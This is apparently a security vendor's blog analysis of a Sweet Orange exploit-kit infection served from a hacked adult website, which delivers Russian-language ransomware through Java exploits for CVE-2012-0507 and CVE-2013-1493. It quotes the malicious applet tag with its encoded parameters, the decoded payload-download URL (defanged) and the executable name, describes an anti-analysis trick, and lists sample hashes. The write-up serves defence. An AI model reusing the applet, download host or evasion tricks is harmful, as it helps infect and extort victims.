As security researchers, our virtual journey in revealing new threats on the web is never-ending. Every once in a while we come across a curious and interesting web attack. Today's blog post will tell the story of one such case we've encountered recently.
During last week, we ran into what looked like a hacked adult website that redirected browser requests to a web page which served two malicious Java applets. The landing page and the Java applets were recognized as Sweet Orange Exploit kit (thanks to Kafeine):
The two applets: "egimb" and "GTRPvPms" trigger CVE-2012-0507 and CVE-2013-1493 respectively. Although not new vulnerabilities, the exploit owner aims for the large percentage of victim machines which have not been patched for a variety of reasons.
With that being said, the exploits creators must fine tune their exploit in such way that security products will not be able to detect the applets as malicious content. Thus they use different obfuscation techniques in order to stay under the security vendors' radar as long as they can.
Let's get to the interesting part - I will focus on the exploit which triggers CVE-2012-0507. First, we can see that the applet receives 3 encoded values as parameter:
<strong><applet archive="egimb" code="JUKEbT.class" width="23" height="7">
<param name="zLWAjCh" value="94EEE106EEE106EEE102EEE48EEE37EEE37EEE105EEE105EEE36EEE107EEE104EEE87EEE105EEE102EEE91EEE104EEE99EEE87EEE88EEE95EEE36EEE104EEE107EEE37EEE94EEE101EEE106EEE91EEE98EEE36EEE102EEE94EEE102EEE53EEE102EEE98EEE107EEE105EEE51EEE44EEE47EEE45EEE28EEE106EEE101EEE101EEE98EEE51EEE43EEE44EEE39EEE28EEE104EEE95EEE100EEE93EEE106EEE101EEE100EEE91EEE105EEE51EEE42EEE28EEE94EEE101EEE109EEE106EEE101EEE51EEE45EEE40EEE41EEE28EEE95EEE100EEE108EEE91EEE105EEE106EEE101EEE104EEE51EEE39EEE45EEE39EEE28EEE101EEE106EEE94EEE91EEE104EEE51EEE47EEE45EEE28EEE106EEE91EEE110EEE95EEE105EEE51EEE45EEE44EEE47EEE28EEE109EEE94EEE87EEE106EEE51EEE39EEE41" />
<param name="CcvMBKM" value="93EEE108EEE55EEE108EEE96EEE108EEE97EEE36EEE91EEE110EEE91" />
<param name="DryoUTs" value="108EEE95EEE104EEE107EEE105" /></applet></strong>
When inspecting the three parameters we can see that they are inserted into an array of objects, and are sent one by one to a decryption method:
The "ROALssja.hsf" method is a pretty simple Caesar-cypher decoder which strips the "EEE" string from the parameter and increases each number by 10 later to be converted into string:
After the string decoding method is done, we can easily look at the actual strings:
- zLWAjCh = "hxxp://ss.uraspermabi.ru/hotel.php?plus=697&tool=561&ringtones=4&howto=723&investor=171&other=97&texis=769&what=13"
- CcvMBKM = "gvAvjvk.exe"
- DryoUTs = "virus"
In the decoding method we can also see a "System.nanoTime()" usage. According to the API reference it "Returns the current value of the most precise available system timer, in nanoseconds." The returned value from nanoTime() is inserted into new long variable. In the following line it will be increased, decreased, multiplied or divided with another long number and NEVER used again.
The action described above is repeated throughout the Java exploit, in almost every method! We suspect that System.nanoTime() is used to cause exceptions in some security products that analyze Java applets using dynamic analysis (due to unimplemented API).
After the CVE-2012-0507 vulnerability exploitation takes place (or one of the other accompanying exploits), the decoded parameters are used to send a URL query to the first URL with the third string attached as a parameter:
This GET request will return a weird looking content from the server:
Usually exploits use a URL request in order to fetch a malicious executable from the Internet, as we can guess the content above is not a valid windows executable, so we need to go deeper into the Java code in order to reveal the mystery behind this blob.
Going through the Java exploit we could see a method that receives the string fetched from the URL above and its length plus the string "virus":
This method will go through the mystery blob and use the "virus" string length and some other numeric operations to convert the simple blob to a full blown windows executable byte array:
The exploit will later save and execute the above content on the victim's computer.
Now for the Malware
The malware itself is a Ransomware which encrypts important files on the victim computer (such as: PDF, DOCX, TXT and more). This Ransomware is aimed at Russian victims, due to the fact that the infected adult site is hosted on a Russian domain, plus the malware alerts to the infected computer are written entirely in Russian:
And for the non-Russian readers among us:
Amusingly, this malware was spread using a hacked adult website, so that's basically a good cover story and social trick that may put victims under stress.
On that note, the malware itself claims that the computer was found with rape, zoophile and child pornography but does not requires the zoophile content to be removed…
In conclusion, here are some Virus Total statistics on the samples from last week:
- egimb.jar (CVE-2012-0507):
SHA256: 4078dc04bcf2b9f00320835d9666c0d7dd1e19e5428acc9b3d3f2a5269f6f9da
MD5: eae1f24ff5233641aec63d28bafdca00
- GTRPvPms.jar (CVE-2013-1493):
SHA256: b59400ab694a9b16be3be4524e1dd2edd0ed0cbf6f27f533e174f0bd0f564f1f
MD5: 894a2f0ff4287dcdbd5cb4bf9ce983b9
SHA256: b868f4cc334852097f1aabd2a33a6ba0947dd569efeb6d72e73dd58a28af5b0b
MD5: bc1fc8a47b3b76f54c6192324d9729ee
Needless to say, Trustwave SWG customers are protected against this threat without needing to install any security update.
Thanks to my colleague, Arseny Levin for his contribution to this blog post
